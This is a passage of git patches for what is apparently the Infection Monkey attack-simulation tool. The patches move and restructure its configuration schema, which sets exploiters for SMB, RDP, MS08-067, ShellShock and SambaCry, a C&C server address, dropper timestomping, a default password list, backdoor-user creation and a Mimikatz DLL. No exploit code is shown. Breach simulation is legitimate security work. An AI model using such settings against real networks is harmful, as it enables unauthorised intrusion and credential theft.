"Ms08_067_Exploiter" - ], - "title": "Ms08_067_Exploiter" - }, - { - "type": "string", - "enum": [ - "SSHExploiter" - ], - "title": "SSHExploiter" - }, - { - "type": "string", - "enum": [ - "ShellShockExploiter" - ], - "title": "ShellShockExploiter" - }, - { - "type": "string", - "enum": [ - "SambaCryExploiter" - ], - "title": "SambaCryExploiter" - } - ] - }, - "finger_classes": { - "title": "Fingerprint class", - "type": "string", - "anyOf": [ - { - "type": "string", - "enum": [ - "SMBFinger" - ], - "title": "SMBFinger" - }, - { - "type": "string", - "enum": [ - "SSHFinger" - ], - "title": "SSHFinger" - }, - { - "type": "string", - "enum": [ - "PingScanner" - ], - "title": "PingScanner" - }, - { - "type": "string", - "enum": [ - "HTTPFinger" - ], - "title": "HTTPFinger" - } - ] - } - }, - "properties": { - "monkey": { - "title": "Monkey", - "type": "object", - "properties": { - "general": { - "title": "General", - "type": "object", - "properties": { - "alive": { - "title": "Alive", - "type": "boolean", - "default": True, - "description": "Is the monkey alive" - }, - "depth": { - "title": "Depth", - "type": "integer", - "default": 2, - "description": "Amount of hops allowed from this monkey to spread" - } - } - }, - "behaviour": { - "title": "Behaviour", - "type": "object", - "properties": { - "self_delete_in_cleanup": { - "title": "Self delete on cleanup", - "type": "boolean", - "default": False, - "description": "Should the monkey delete its executable when going down" - }, - "use_file_logging": { - "title": "Use file logging", - "type": "boolean", - "default": True, - "description": "Should the monkey dump to a log file" - }, - "serialize_config": { - "title": "Serialize config", - "type": "boolean", - "default": False, - "description": "Should the monkey dump its config on startup" - } - } - }, - "life_cycle": { - "title": "Life cycle", - "type": "object", - "properties": { - "max_iterations": { - "title": "Max iterations", - "type": "integer", - "default": 1, - "description": "Determines how many iterations of the monkey's full lifecycle should occur" - }, - "victims_max_find": { - "title": "Max victims to find", - "type": "integer", - "default": 14, - "description": "Determines after how many discovered machines should the monkey stop scanning" - }, - "victims_max_exploit": { - "title": "Max victims to exploit", - "type": "integer", - "default": 7, - "description": "Determines after how many infected machines should the monkey stop infecting" - }, - "timeout_between_iterations": { - "title": "Wait time between iterations", - "type": "integer", - "default": 100, - "description": "Determines for how long (in seconds) should the monkey wait between iterations" - }, - "retry_failed_explotation": { - "title": "Retry failed exploitation", - "type": "boolean", - "default": True, - "description": "Determines whether the monkey should retry exploiting machines it didn't successfuly exploit on previous iterations" - } - } - } - } - }, - "internal": { - "title": "Internal", - "type": "object", - "properties": { - "general": { - "title": "General", - "type": "object", - "properties": { - "singleton_mutex_name": { - "title": "Singleton mutex name", - "type": "string", - "default": "{2384ec59-0df8-4ab9-918c-843740924a28}", - "description": "The name of the mutex used to determine whether the monkey is already running" - } - } - }, - "classes": { - "title": "Classes", - "type": "object", - "properties": { - "scanner_class": { - "title": "Scanner class", - "type": "string", - "default": "TcpScanner", - "enum": [ - "TcpScanner" - ], - "enumNames": [ - "TcpScanner" - ], - "description": "Determines class to scan for machines. (Shouldn't be changed)" - }, - "finger_classes": { - "title": "Fingerprint classes", - "type": "array", - "uniqueItems": True, - "items": { - "$ref": "#/definitions/finger_classes" - }, - "default": [ - "SMBFinger", - "SSHFinger", - "PingScanner", - "HTTPFinger" - ], - "description": "Determines which classes to use for fingerprinting" - }, - "exploiter_classes": { - "title": "Exploiter classes", - "type": "array", - "uniqueItems": True, - "items": { - "$ref": "#/definitions/exploiter_classes" - }, - "default": [ - "SmbExploiter", - "WmiExploiter", - "RdpExploiter", - "Ms08_067_Exploiter", - "SSHExploiter", - "ShellShockExploiter", - "SambaCryExploiter" - ], - "description": "Determines which classes to use for exploiting" - } - } - }, - "kill_file": { - "title": "Kill file", - "type": "object", - "properties": { - "kill_file_path_windows": { - "title": "Kill file path on Windows", - "type": "string", - "default": "C:\\Windows\\monkey.not", - "description": "Path of file which kills monkey if it exists (on Windows)" - }, - "kill_file_path_linux": { - "title": "Kill file path on Linux", - "type": "string", - "default": "/var/run/monkey.not", - "description": "Path of file which kills monkey if it exists (on Linux)" - } - } - }, - "dropper": { - "title": "Dropper", - "type": "object", - "properties": { - "dropper_set_date": { - "title": "Dropper sets date", - "type": "boolean", - "default": True, - "description": "Determines whether the dropper should set the monkey's file date to be the same as another file" - }, - "dropper_date_reference_path": { - "title": "Droper date reference path", - "type": "string", - "default": "\\windows\\system32\\kernel32.dll", - "description": "Determines which file the dropper should copy the date from if it's configured to do so (use fullpath)" - }, - "dropper_target_path_linux": { - "title": "Dropper target path on Linux", - "type": "string", - "default": "/tmp/monkey", - "description": "Determines where should the dropper place the monkey on a Linux machine" - }, - "dropper_target_path": { - "title": "Dropper target path on Windows", - "type": "string", - "default": "C:\\Windows\\monkey.exe", - "description": "Determines where should the dropper place the monkey on a Windows machine" - }, - "dropper_try_move_first": { - "title": "Try to move first", - "type": "boolean", - "default": True, - "description": "Determines whether the dropper should try to move itself instead of copying itself to target path" - } - } - }, - "logging": { - "title": "Logging", - "type": "object", - "properties": { - "dropper_log_path_linux": { - "title": "Dropper log file path on Linux", - "type": "string", - "default": "/tmp/user-1562", - "description": "The fullpath of the dropper log file on Linux" - }, - "dropper_log_path_windows": { - "title": "Dropper log file path on Windows", - "type": "string", - "default": "C:\\Users\\user\\AppData\\Local\\Temp\\~df1562.tmp", - "description": "The fullpath of the dropper log file on Windows" - }, - "monkey_log_path_linux": { - "title": "Monkey log file path on Linux", - "type": "string", - "default": "/tmp/user-1563", - "description": "The fullpath of the monkey log file on Linux" - }, - "monkey_log_path_windows": { - "title": "Monkey log file path on Windows", - "type": "string", - "default":"C:\\Users\\user\\AppData\\Local\\Temp\\~df1563.tmp", - "description": "The fullpath of the monkey log file on Windows" - } - } - } - } - }, - "cnc": { - "title": "C&C", - "type": "object", - "properties": { - "general": { - "title": "General", - "type": "object", - "properties": { - } - }, - "servers": { - "title": "Servers", - "type": "object", - "properties": { - "command_servers": { - "title": "Command servers", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - "41.50.73.31:5000" - ], - "description": "List of command servers to try and communicate with (format is :)" - }, - "internet_services": { - "title": "Internet services", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - "monkey.guardicore.com", - "www.google.com" - ], - "description": "List of internet services to try and communicate with to determine internet connectivity (use either ip or domain)" - }, - "current_server": { - "title": "Current server", - "type": "string", - "default": "41.50.73.31:5000", - "description": "The current command server the monkey is communicating with" - } - } - } - } - }, - "exploits": { - "title": "Exploits", - "type": "object", - "properties": { - "general": { - "title": "General", - "type": "object", - "properties": { - "skip_exploit_if_file_exist": { - "title": "Skip exploit if file exists", - "type": "boolean", - "default": True, - "description": "Determines whether the monkey should skip the exploit if the monkey's file is already on the remote machine" - }, - "credentials": { - "title": "Credentials", - "type": "object", - "properties": { - "exploit_user_list": { - "title": "Exploit user list", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - "Administrator", - "root", - "user" - ], - "description": "List of usernames to use on exploits using credentials" - }, - "exploit_password_list": { - "title": "Exploit password list", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - "Password1!", - "1234", - "password", - "12345678" - ], - "description": "List of password to use on exploits using credentials" - } - } - } - } - }, - "ms08_067": { - "title": "MS08_067", - "type": "object", - "properties": { - "ms08_067_exploit_attempts": { - "title": "MS08_067 exploit attempts", - "type": "integer", - "default": 5, - "description": "Number of attempts to exploit using MS08_067" - }, - "ms08_067_remote_user_add": { - "title": "MS08_067 remote user", - "type": "string", - "default": "Monkey_IUSER_SUPPORT", - "description": "Username to add on successful exploit" - }, - "ms08_067_remote_user_pass": { - "title": "MS08_067 remote user password", - "type": "string", - "default": "Password1!", - "description": "Password to use for created user" - } - } - }, - "rdp_grinder": { - "title": "RDP grinder", - "type": "object", - "properties": { - "rdp_use_vbs_download": { - "title": "Use VBS download", - "type": "boolean", - "default": True, - "description": "Determines whether to use VBS or BITS to download monkey to remote machine (true=VBS, false=BITS)" - } - } - }, - "sambacry": { - "title": "SambaCry", - "type": "object", - "properties": { - "sambacry_trigger_timeout": { - "title": "SambaCry trigger timeout", - "type": "integer", - "default": 5, - "description": "Timeout (in seconds) of SambaCry trigger" - }, - "sambacry_folder_paths_to_guess": { - "title": "SambaCry folder paths to guess", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - '/', - '/mnt', - '/tmp', - '/storage', - '/export', - '/share', - '/shares', - '/home' - ], - "description": "List of full paths to share folder for SambaCry to guess" - }, - "sambacry_shares_not_to_check": { - "title": "SambaCry shares not to check", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - "IPC$", "print$" - ], - "description": "These shares won't be checked when exploiting with SambaCry" - }, - "sambacry_commandline_filename": { - "title": "SambaCry commandline filename", - "type": "string", - "default": "monkey_commandline.txt", - }, - "sambacry_runner_result_filename": { - "title": "SambaCry runner result filename", - "type": "string", - "default": "monkey_runner_result", - }, - "sambacry_runner_filename_32": { - "title": "SambaCry runner filename (32 bit)", - "type": "string", - "default": "sc_monkey_runner32.so", - }, - "sambacry_runner_filename_64": { - "title": "SambaCry runner filename (64 bit)", - "type": "string", - "default": "sc_monkey_runner64.so", - }, - "sambacry_monkey_filename_32": { - "title": "SambaCry monkey filename (32 bit)", - "type": "string", - "default": "monkey32", - }, - "sambacry_monkey_filename_64": { - "title": "SambaCry monkey filename (64 bit)", - "type": "string", - "default": "monkey64", - }, - "sambacry_monkey_copy_filename_32": { - "title": "SambaCry monkey copy filename (32 bit)", - "type": "string", - "default": "monkey32_2", - }, - "sambacry_monkey_copy_filename_64": { - "title": "SambaCry monkey copy filename (64 bit)", - "type": "string", - "default": "monkey64_2", - } - } - }, - "smb_service": { - "title": "SMB service", - "type": "object", - "properties": { - "smb_download_timeout": { - "title": "SMB download timeout", - "type": "integer", - "default": 300, - "description": "Timeout (in seconds) for SMB download operation (used in various exploits using SMB)" - }, - "smb_service_name": { - "title": "SMB service name", - "type": "string", - "default": "InfectionMonkey", - "description": "Name of the SMB service that will be set up to download monkey" - } - } - } - } - }, - "system_info": { - "title": "System info", - "type": "object", - "properties": { - "general": { - "title": "General", - "type": "object", - "properties": { - "collect_system_info": { - "title": "Collect system info", - "type": "boolean", - "default": True, - "description": "Determines whether to collect system info" - } - } - }, - "mimikatz": { - "title": "Mimikatz", - "type": "object", - "properties": { - "mimikatz_dll_name": { - "title": "Mimikatz DLL name", - "type": "string", - "default": "mk.dll", - "description": "Name of Mimikatz DLL (should be the same as in the monkey's pyinstaller spec file)" - } - } - } - } - }, - "network": { - "title": "Network", - "type": "object", - "properties": { - "general": { - "title": "General", - "type": "object", - "properties": { - "blocked_ips": { - "title": "Blocked IPs", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - ], - "description": "List of IPs to not scan" - }, - "local_network_scan": { - "title": "Local network scan", - "type": "boolean", - "default": False, - "description": "Determines whether monkey should also scan its own IPs" - }, - "network_range": { - "title": "Network range", - "type": "object", - "properties": { - "range_class": { - "title": "Range class", - "type": "string", - "default": "FixedRange", - "enum": [ - "FixedRange", - "RelativeRange", - "ClassCRange" - ], - "enumNames": [ - "FixedRange", - "RelativeRange", - "ClassCRange" - ], - "description": "Determines which class to use to determine scan range" - }, - "range_size": { - "title": "Relative range size", - "type": "integer", - "default": 1, - "description": "Determines the size of the RelativeRange - amount of IPs to include" - }, - "range_fixed": { - "title": "Fixed range IP list", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - "172.16.0.67" - ], - "description": "List of IPs to include when using FixedRange" - } - } - } - } - }, - "scanners": { - "title": "Scanners", - "type": "object", - "properties": { - "tcp_scanner": { - "title": "TCP scanner", - "type": "object", - "properties": { - "HTTP_PORTS": { - "title": "HTTP ports", - "type": "array", - "uniqueItems": True, - "items": { - "type": "integer" - }, - "default": [ - 80, - 8080, - 443, - 8008 - ], - "description": "List of ports the monkey will check if are being used for HTTP" - }, - "tcp_target_ports": { - "title": "TCP target ports", - "type": "array", - "uniqueItems": True, - "items": { - "type": "integer" - }, - "default": [ - 22, - 2222, - 445, - 135, - 3389, - 80, - 8080, - 443, - 8008 - ], - "description": "List of TCP ports the monkey will check whether they're open" - }, - "tcp_scan_interval": { - "title": "TCP scan interval", - "type": "integer", - "default": 200, - "description": "Time to sleep (in milliseconds) between scans" - }, - "tcp_scan_timeout": { - "title": "TCP scan timeout", - "type": "integer", - "default": 3000, - "description": "Maximum time (in milliseconds) to wait for TCP response" - }, - "tcp_scan_get_banner": { - "title": "TCP scan - get banner", - "type": "boolean", - "default": True, - "description": "Determines whether the TCP scan should try to get the banner" - } - } - }, - "ping_scanner": { - "title": "Ping scanner", - "type": "object", - "properties": { - "ping_scan_timeout": { - "title": "Ping scan timeout", - "type": "integer", - "default": 1000, - "description": "Maximum time (in milliseconds) to wait for ping response" - } - } - } - } - } - } - } - }, - "options": { - "collapsed": True - } -} - - class MonkeyConfiguration(flask_restful.Resource): def get(self): - return jsonify(schema=SCHEMA, configuration=self._get_configuration()) + return jsonify(schema=ConfigService.get_config_schema(), configuration=ConfigService.get_config()) def post(self): config_json = json.loads(request.data) - mongo.db.config.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True) - return jsonify(schema=SCHEMA, configuration=self._get_configuration()) - @classmethod - def _get_configuration(cls): - config = mongo.db.config.find_one({'name': 'newconfig'}) or {} - for field in ('name', '_id'): - config.pop(field, None) - return config + mongo.db.config.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True) + return jsonify(schema=ConfigService.get_config_schema(), configuration=ConfigService.get_config()) + diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py new file mode 100644 index 000000000..2f27bd809 --- /dev/null +++ b/monkey_island/cc/services/config.py @@ -0,0 +1,786 @@ +from cc.database import mongo + +__author__ = "itay.mizeretz" + +SCHEMA = { + "title": "Monkey", + "type": "object", + "definitions": { + "exploiter_classes": { + "title": "Exploit class", + "type": "string", + "anyOf": [ + { + "type": "string", + "enum": [ + "SmbExploiter" + ], + "title": "SmbExploiter" + }, + { + "type": "string", + "enum": [ + "WmiExploiter" + ], + "title": "WmiExploiter" + }, + { + "type": "string", + "enum": [ + "RdpExploiter" + ], + "title": "RdpExploiter" + }, + { + "type": "string", + "enum": [ + "Ms08_067_Exploiter" + ], + "title": "Ms08_067_Exploiter" + }, + { + "type": "string", + "enum": [ + "SSHExploiter" + ], + "title": "SSHExploiter" + }, + { + "type": "string", + "enum": [ + "ShellShockExploiter" + ], + "title": "ShellShockExploiter" + }, + { + "type": "string", + "enum": [ + "SambaCryExploiter" + ], + "title": "SambaCryExploiter" + } + ] + }, + "finger_classes": { + "title": "Fingerprint class", + "type": "string", + "anyOf": [ + { + "type": "string", + "enum": [ + "SMBFinger" + ], + "title": "SMBFinger" + }, + { + "type": "string", + "enum": [ + "SSHFinger" + ], + "title": "SSHFinger" + }, + { + "type": "string", + "enum": [ + "PingScanner" + ], + "title": "PingScanner" + }, + { + "type": "string", + "enum": [ + "HTTPFinger" + ], + "title": "HTTPFinger" + } + ] + } + }, + "properties": { + "monkey": { + "title": "Monkey", + "type": "object", + "properties": { + "general": { + "title": "General", + "type": "object", + "properties": { + "alive": { + "title": "Alive", + "type": "boolean", + "default": True, + "description": "Is the monkey alive" + }, + "depth": { + "title": "Depth", + "type": "integer", + "default": 2, + "description": "Amount of hops allowed from this monkey to spread" + } + } + }, + "behaviour": { + "title": "Behaviour", + "type": "object", + "properties": { + "self_delete_in_cleanup": { + "title": "Self delete on cleanup", + "type": "boolean", + "default": False, + "description": "Should the monkey delete its executable when going down" + }, + "use_file_logging": { + "title": "Use file logging", + "type": "boolean", + "default": True, + "description": "Should the monkey dump to a log file" + }, + "serialize_config": { + "title": "Serialize config", + "type": "boolean", + "default": False, + "description": "Should the monkey dump its config on startup" + } + } + }, + "life_cycle": { + "title": "Life cycle", + "type": "object", + "properties": { + "max_iterations": { + "title": "Max iterations", + "type": "integer", + "default": 1, + "description": "Determines how many iterations of the monkey's full lifecycle should occur" + }, + "victims_max_find": { + "title": "Max victims to find", + "type": "integer", + "default": 14, + "description": "Determines after how many discovered machines should the monkey stop scanning" + }, + "victims_max_exploit": { + "title": "Max victims to exploit", + "type": "integer", + "default": 7, + "description": "Determines after how many infected machines should the monkey stop infecting" + }, + "timeout_between_iterations": { + "title": "Wait time between iterations", + "type": "integer", + "default": 100, + "description": "Determines for how long (in seconds) should the monkey wait between iterations" + }, + "retry_failed_explotation": { + "title": "Retry failed exploitation", + "type": "boolean", + "default": True, + "description": "Determines whether the monkey should retry exploiting machines it didn't successfuly exploit on previous iterations" + } + } + } + } + }, + "internal": { + "title": "Internal", + "type": "object", + "properties": { + "general": { + "title": "General", + "type": "object", + "properties": { + "singleton_mutex_name": { + "title": "Singleton mutex name", + "type": "string", + "default": "{2384ec59-0df8-4ab9-918c-843740924a28}", + "description": "The name of the mutex used to determine whether the monkey is already running" + } + } + }, + "classes": { + "title": "Classes", + "type": "object", + "properties": { + "scanner_class": { + "title": "Scanner class", + "type": "string", + "default": "TcpScanner", + "enum": [ + "TcpScanner" + ], + "enumNames": [ + "TcpScanner" + ], + "description": "Determines class to scan for machines. (Shouldn't be changed)" + }, + "finger_classes": { + "title": "Fingerprint classes", + "type": "array", + "uniqueItems": True, + "items": { + "$ref": "#/definitions/finger_classes" + }, + "default": [ + "SMBFinger", + "SSHFinger", + "PingScanner", + "HTTPFinger" + ], + "description": "Determines which classes to use for fingerprinting" + }, + "exploiter_classes": { + "title": "Exploiter classes", + "type": "array", + "uniqueItems": True, + "items": { + "$ref": "#/definitions/exploiter_classes" + }, + "default": [ + "SmbExploiter", + "WmiExploiter", + "RdpExploiter", + "Ms08_067_Exploiter", + "SSHExploiter", + "ShellShockExploiter", + "SambaCryExploiter" + ], + "description": "Determines which classes to use for exploiting" + } + } + }, + "kill_file": { + "title": "Kill file", + "type": "object", + "properties": { + "kill_file_path_windows": { + "title": "Kill file path on Windows", + "type": "string", + "default": "C:\\Windows\\monkey.not", + "description": "Path of file which kills monkey if it exists (on Windows)" + }, + "kill_file_path_linux": { + "title": "Kill file path on Linux", + "type": "string", + "default": "/var/run/monkey.not", + "description": "Path of file which kills monkey if it exists (on Linux)" + } + } + }, + "dropper": { + "title": "Dropper", + "type": "object", + "properties": { + "dropper_set_date": { + "title": "Dropper sets date", + "type": "boolean", + "default": True, + "description": "Determines whether the dropper should set the monkey's file date to be the same as another file" + }, + "dropper_date_reference_path": { + "title": "Droper date reference path", + "type": "string", + "default": "\\windows\\system32\\kernel32.dll", + "description": "Determines which file the dropper should copy the date from if it's configured to do so (use fullpath)" + }, + "dropper_target_path_linux": { + "title": "Dropper target path on Linux", + "type": "string", + "default": "/tmp/monkey", + "description": "Determines where should the dropper place the monkey on a Linux machine" + }, + "dropper_target_path": { + "title": "Dropper target path on Windows", + "type": "string", + "default": "C:\\Windows\\monkey.exe", + "description": "Determines where should the dropper place the monkey on a Windows machine" + }, + "dropper_try_move_first": { + "title": "Try to move first", + "type": "boolean", + "default": True, + "description": "Determines whether the dropper should try to move itself instead of copying itself to target path" + } + } + }, + "logging": { + "title": "Logging", + "type": "object", + "properties": { + "dropper_log_path_linux": { + "title": "Dropper log file path on Linux", + "type": "string", + "default": "/tmp/user-1562", + "description": "The fullpath of the dropper log file on Linux" + }, + "dropper_log_path_windows": { + "title": "Dropper log file path on Windows", + "type": "string", + "default": "C:\\Users\\user\\AppData\\Local\\Temp\\~df1562.tmp", + "description": "The fullpath of the dropper log file on Windows" + }, + "monkey_log_path_linux": { + "title": "Monkey log file path on Linux", + "type": "string", + "default": "/tmp/user-1563", + "description": "The fullpath of the monkey log file on Linux" + }, + "monkey_log_path_windows": { + "title": "Monkey log file path on Windows", + "type": "string", + "default":"C:\\Users\\user\\AppData\\Local\\Temp\\~df1563.tmp", + "description": "The fullpath of the monkey log file on Windows" + } + } + } + } + }, + "cnc": { + "title": "C&C", + "type": "object", + "properties": { + "general": { + "title": "General", + "type": "object", + "properties": { + } + }, + "servers": { + "title": "Servers", + "type": "object", + "properties": { + "command_servers": { + "title": "Command servers", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + "41.50.73.31:5000" + ], + "description": "List of command servers to try and communicate with (format is :)" + }, + "internet_services": { + "title": "Internet services", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + "monkey.guardicore.com", + "www.google.com" + ], + "description": "List of internet services to try and communicate with to determine internet connectivity (use either ip or domain)" + }, + "current_server": { + "title": "Current server", + "type": "string", + "default": "41.50.73.31:5000", + "description": "The current command server the monkey is communicating with" + } + } + } + } + }, + "exploits": { + "title": "Exploits", + "type": "object", + "properties": { + "general": { + "title": "General", + "type": "object", + "properties": { + "skip_exploit_if_file_exist": { + "title": "Skip exploit if file exists", + "type": "boolean", + "default": True, + "description": "Determines whether the monkey should skip the exploit if the monkey's file is already on the remote machine" + }, + "credentials": { + "title": "Credentials", + "type": "object", + "properties": { + "exploit_user_list": { + "title": "Exploit user list", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + "Administrator", + "root", + "user" + ], + "description": "List of usernames to use on exploits using credentials" + }, + "exploit_password_list": { + "title": "Exploit password list", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + "Password1!", + "1234", + "password", + "12345678" + ], + "description": "List of password to use on exploits using credentials" + } + } + } + } + }, + "ms08_067": { + "title": "MS08_067", + "type": "object", + "properties": { + "ms08_067_exploit_attempts": { + "title": "MS08_067 exploit attempts", + "type": "integer", + "default": 5, + "description": "Number of attempts to exploit using MS08_067" + }, + "ms08_067_remote_user_add": { + "title": "MS08_067 remote user", + "type": "string", + "default": "Monkey_IUSER_SUPPORT", + "description": "Username to add on successful exploit" + }, + "ms08_067_remote_user_pass": { + "title": "MS08_067 remote user password", + "type": "string", + "default": "Password1!", + "description": "Password to use for created user" + } + } + }, + "rdp_grinder": { + "title": "RDP grinder", + "type": "object", + "properties": { + "rdp_use_vbs_download": { + "title": "Use VBS download", + "type": "boolean", + "default": True, + "description": "Determines whether to use VBS or BITS to download monkey to remote machine (true=VBS, false=BITS)" + } + } + }, + "sambacry": { + "title": "SambaCry", + "type": "object", + "properties": { + "sambacry_trigger_timeout": { + "title": "SambaCry trigger timeout", + "type": "integer", + "default": 5, + "description": "Timeout (in seconds) of SambaCry trigger" + }, + "sambacry_folder_paths_to_guess": { + "title": "SambaCry folder paths to guess", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + '/', + '/mnt', + '/tmp', + '/storage', + '/export', + '/share', + '/shares', + '/home' + ], + "description": "List of full paths to share folder for SambaCry to guess" + }, + "sambacry_shares_not_to_check": { + "title": "SambaCry shares not to check", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + "IPC$", "print$" + ], + "description": "These shares won't be checked when exploiting with SambaCry" + }, + "sambacry_commandline_filename": { + "title": "SambaCry commandline filename", + "type": "string", + "default": "monkey_commandline.txt", + }, + "sambacry_runner_result_filename": { + "title": "SambaCry runner result filename", + "type": "string", + "default": "monkey_runner_result", + }, + "sambacry_runner_filename_32": { + "title": "SambaCry runner filename (32 bit)", + "type": "string", + "default": "sc_monkey_runner32.so", + }, + "sambacry_runner_filename_64": { + "title": "SambaCry runner filename (64 bit)", + "type": "string", + "default": "sc_monkey_runner64.so", + }, + "sambacry_monkey_filename_32": { + "title": "SambaCry monkey filename (32 bit)", + "type": "string", + "default": "monkey32", + }, + "sambacry_monkey_filename_64": { + "title": "SambaCry monkey filename (64 bit)", + "type": "string", + "default": "monkey64", + }, + "sambacry_monkey_copy_filename_32": { + "title": "SambaCry monkey copy filename (32 bit)", + "type": "string", + "default": "monkey32_2", + }, + "sambacry_monkey_copy_filename_64": { + "title": "SambaCry monkey copy filename (64 bit)", + "type": "string", + "default": "monkey64_2", + } + } + }, + "smb_service": { + "title": "SMB service", + "type": "object", + "properties": { + "smb_download_timeout": { + "title": "SMB download timeout", + "type": "integer", + "default": 300, + "description": "Timeout (in seconds) for SMB download operation (used in various exploits using SMB)" + }, + "smb_service_name": { + "title": "SMB service name", + "type": "string", + "default": "InfectionMonkey", + "description": "Name of the SMB service that will be set up to download monkey" + } + } + } + } + }, + "system_info": { + "title": "System info", + "type": "object", + "properties": { + "general": { + "title": "General", + "type": "object", + "properties": { + "collect_system_info": { + "title": "Collect system info", + "type": "boolean", + "default": True, + "description": "Determines whether to collect system info" + } + } + }, + "mimikatz": { + "title": "Mimikatz", + "type": "object", + "properties": { + "mimikatz_dll_name": { + "title": "Mimikatz DLL name", + "type": "string", + "default": "mk.dll", + "description": "Name of Mimikatz DLL (should be the same as in the monkey's pyinstaller spec file)" + } + } + } + } + }, + "network": { + "title": "Network", + "type": "object", + "properties": { + "general": { + "title": "General", + "type": "object", + "properties": { + "blocked_ips": { + "title": "Blocked IPs", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + ], + "description": "List of IPs to not scan" + }, + "local_network_scan": { + "title": "Local network scan", + "type": "boolean", + "default": False, + "description": "Determines whether monkey should also scan its own IPs" + }, + "network_range": { + "title": "Network range", + "type": "object", + "properties": { + "range_class": { + "title": "Range class", + "type": "string", + "default": "FixedRange", + "enum": [ + "FixedRange", + "RelativeRange", + "ClassCRange" + ], + "enumNames": [ + "FixedRange", + "RelativeRange", + "ClassCRange" + ], + "description": "Determines which class to use to determine scan range" + }, + "range_size": { + "title": "Relative range size", + "type": "integer", + "default": 1, + "description": "Determines the size of the RelativeRange - amount of IPs to include" + }, + "range_fixed": { + "title": "Fixed range IP list", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + "172.16.0.67" + ], + "description": "List of IPs to include when using FixedRange" + } + } + } + } + }, + "scanners": { + "title": "Scanners", + "type": "object", + "properties": { + "tcp_scanner": { + "title": "TCP scanner", + "type": "object", + "properties": { + "HTTP_PORTS": { + "title": "HTTP ports", + "type": "array", + "uniqueItems": True, + "items": { + "type": "integer" + }, + "default": [ + 80, + 8080, + 443, + 8008 + ], + "description": "List of ports the monkey will check if are being used for HTTP" + }, + "tcp_target_ports": { + "title": "TCP target ports", + "type": "array", + "uniqueItems": True, + "items": { + "type": "integer" + }, + "default": [ + 22, + 2222, + 445, + 135, + 3389, + 80, + 8080, + 443, + 8008 + ], + "description": "List of TCP ports the monkey will check whether they're open" + }, + "tcp_scan_interval": { + "title": "TCP scan interval", + "type": "integer", + "default": 200, + "description": "Time to sleep (in milliseconds) between scans" + }, + "tcp_scan_timeout": { + "title": "TCP scan timeout", + "type": "integer", + "default": 3000, + "description": "Maximum time (in milliseconds) to wait for TCP response" + }, + "tcp_scan_get_banner": { + "title": "TCP scan - get banner", + "type": "boolean", + "default": True, + "description": "Determines whether the TCP scan should try to get the banner" + } + } + }, + "ping_scanner": { + "title": "Ping scanner", + "type": "object", + "properties": { + "ping_scan_timeout": { + "title": "Ping scan timeout", + "type": "integer", + "default": 1000, + "description": "Maximum time (in milliseconds) to wait for ping response" + } + } + } + } + } + } + } + }, + "options": { + "collapsed": True + } +} + +class ConfigService: + def __init__(self): + pass + + @staticmethod + def get_config(): + config = mongo.db.config.find_one({'name': 'newconfig'}) or {} + for field in ('name', '_id'): + config.pop(field, None) + return config + + @staticmethod + def get_flat_config(): + config_json = ConfigService.get_config() + flat_config_json = {} + for i in config_json: + for j in config_json[i]: + for k in config_json[i][j]: + flat_config_json[k] = config_json[i][j][k] + + return flat_config_json + + @staticmethod + def get_config_schema(): + return SCHEMA + + @staticmethod + def update_config(): + pass From ba291b577b2b4cd07225e350a79a1d12c1e4b9de Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 13 Sep 2017 11:44:20 +0300 Subject: [PATCH 26/32] Config is now evenly namespaced by exactly 2 layers --- monkey_island/cc/services/config.py | 204 ++++++++++++++-------------- 1 file changed, 99 insertions(+), 105 deletions(-) diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 2f27bd809..c2acbbde4 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -396,41 +396,41 @@ SCHEMA = { "type": "boolean", "default": True, "description": "Determines whether the monkey should skip the exploit if the monkey's file is already on the remote machine" + } + } + }, + "credentials": { + "title": "Credentials", + "type": "object", + "properties": { + "exploit_user_list": { + "title": "Exploit user list", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + "Administrator", + "root", + "user" + ], + "description": "List of usernames to use on exploits using credentials" }, - "credentials": { - "title": "Credentials", - "type": "object", - "properties": { - "exploit_user_list": { - "title": "Exploit user list", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - "Administrator", - "root", - "user" - ], - "description": "List of usernames to use on exploits using credentials" - }, - "exploit_password_list": { - "title": "Exploit password list", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - "Password1!", - "1234", - "password", - "12345678" - ], - "description": "List of password to use on exploits using credentials" - } - } + "exploit_password_list": { + "title": "Exploit password list", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + "Password1!", + "1234", + "password", + "12345678" + ], + "description": "List of password to use on exploits using credentials" } } }, @@ -670,80 +670,74 @@ SCHEMA = { } } }, - "scanners": { - "title": "Scanners", + "tcp_scanner": { + "title": "TCP scanner", "type": "object", "properties": { - "tcp_scanner": { - "title": "TCP scanner", - "type": "object", - "properties": { - "HTTP_PORTS": { - "title": "HTTP ports", - "type": "array", - "uniqueItems": True, - "items": { - "type": "integer" - }, - "default": [ - 80, - 8080, - 443, - 8008 - ], - "description": "List of ports the monkey will check if are being used for HTTP" - }, - "tcp_target_ports": { - "title": "TCP target 